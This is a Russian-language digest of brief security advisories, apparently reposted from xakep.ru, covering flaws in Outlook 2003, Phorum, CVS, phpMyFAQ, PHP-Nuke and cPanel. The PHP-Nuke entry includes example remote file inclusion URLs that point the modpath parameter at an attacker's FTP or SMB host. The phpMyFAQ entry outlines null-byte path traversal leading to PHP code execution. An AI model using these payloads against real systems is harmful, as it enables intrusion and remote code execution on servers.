Обход настроек безопасности на выполнение сценариев в Microsoft Outlook 2003

Программа: Microsoft Outlook 2003

Уязвимость обнаружена в Microsoft Outlook 2003. Удаленный пользователь может послать специально обработанное email сообщение, которое, когда будет просмотрено целевым пользователем, выполнит произвольный код на целевой системе.

Удаленный пользователь может внедрить специально обработанный Windows Media Player объект внутри rich text сообщения и затем внедрить в исходный код URL, ссылающийся на внедренный media файл. Когда целевой пользователь просмотрит сообщение, код сценария внутри media файла будет выполнен вне зависимости от установок безопасности Microsoft Outlook или настроек Windows Media Player.

Доступ к сессиям других пользователей в Phorum

Программа: Phorum 4.3.7 и более ранние версии

Уязвимость обнаружена в Phorum. Удаленный пользователь может получить доступ к сессии других пользователей.

Если целевой авторизованный пользователь не вышел из системы, то удаленный пользователь с доступом к хешу сессий (phorum_uriauth) может восстановить хеш сессии, чтобы получить доступ к сессии целевого пользователя. Удаленный пользователь может получить хеш сессии перехватывая сетевой трафик или просматривая журналы регистраций.

Удаленное перполнение буфера в Concurrent Versions System

Программа: CVS 1.11.15 и более ранние версии

Переполнение динамической памяти обнаружено в Concurrent Versions System (CVS). Удаленный пользователь может выполнить произвольный код на целевой системе. Переполнение происходит при обработке строк входа. Удаленный пользователь может заставить функцию быть вызванной несколько раз, включая некоторые символы в строку входа, чтобы перезаписать память произвольными данными.

Несколько уязвимостей в phpMyFAQ

Программа: phpMyFAQ 1.3.12 и более ранние версии; 1.4.0-alpha1 и более ранние версии;

Уязвимость обнаружена в phpMyFAQ. Удаленный пользователь может просматривать произвольные файлы на целевой системе. Удаленный пользователь может выполнить PHP файлы, которые расположены на целевой системе. Удаленный пользователь может представить специально обработанное значение для $action переменной, которая включает NULL символ ('\0') и относительный путь, чтобы просмотреть произвольные файлы с привилегиями целевого Web сервера. Если удаленный пользователь может внедрить произвольный PHP код в известный файл на системе (чере log file, например), то удаленный пользователь может выполнить произвольный PHP код.

Удаленное выполнение произвольного кода в PHP-Nuke

Программа: PHP-Nuke 6.x - 7.3

Уязвимость включения файла обнаружена в PHP-Nuke. Удаленный пользователь может выполнить произвольный код на целевой системе.

Пример:

http://localhost/nuke73/index.php?modpath =ftp://[attacker]/directory/
http://localhost/nuke73/index.php?modpath =//attacke r_ip/share_name/

Возможность brute force нападения на MySQL базу данных в cPanel

Программа: cPanel 9.3.0-R5 и более ранние версии

Уязвимость обнаружена в cPanel. Удаленный авторизованный пользователь может загрузить PHP сценарий, который может быть использован для проведения brute force нападения на MySQL базу данных на сервере.

Из-за уязвимости в регистрации, небезопасные chmod разрешения на /var/lib/mysql и предсказуемые имена пользователя для mysql баз данных позволяют злонамеренному пользователю (с существующей учетной записью) загрузить PHP сценарий или Perl сценарий, который может быть использован для проведения brute force нападения на MySQL базу данных на сервере.

По материалам www.xakep.ru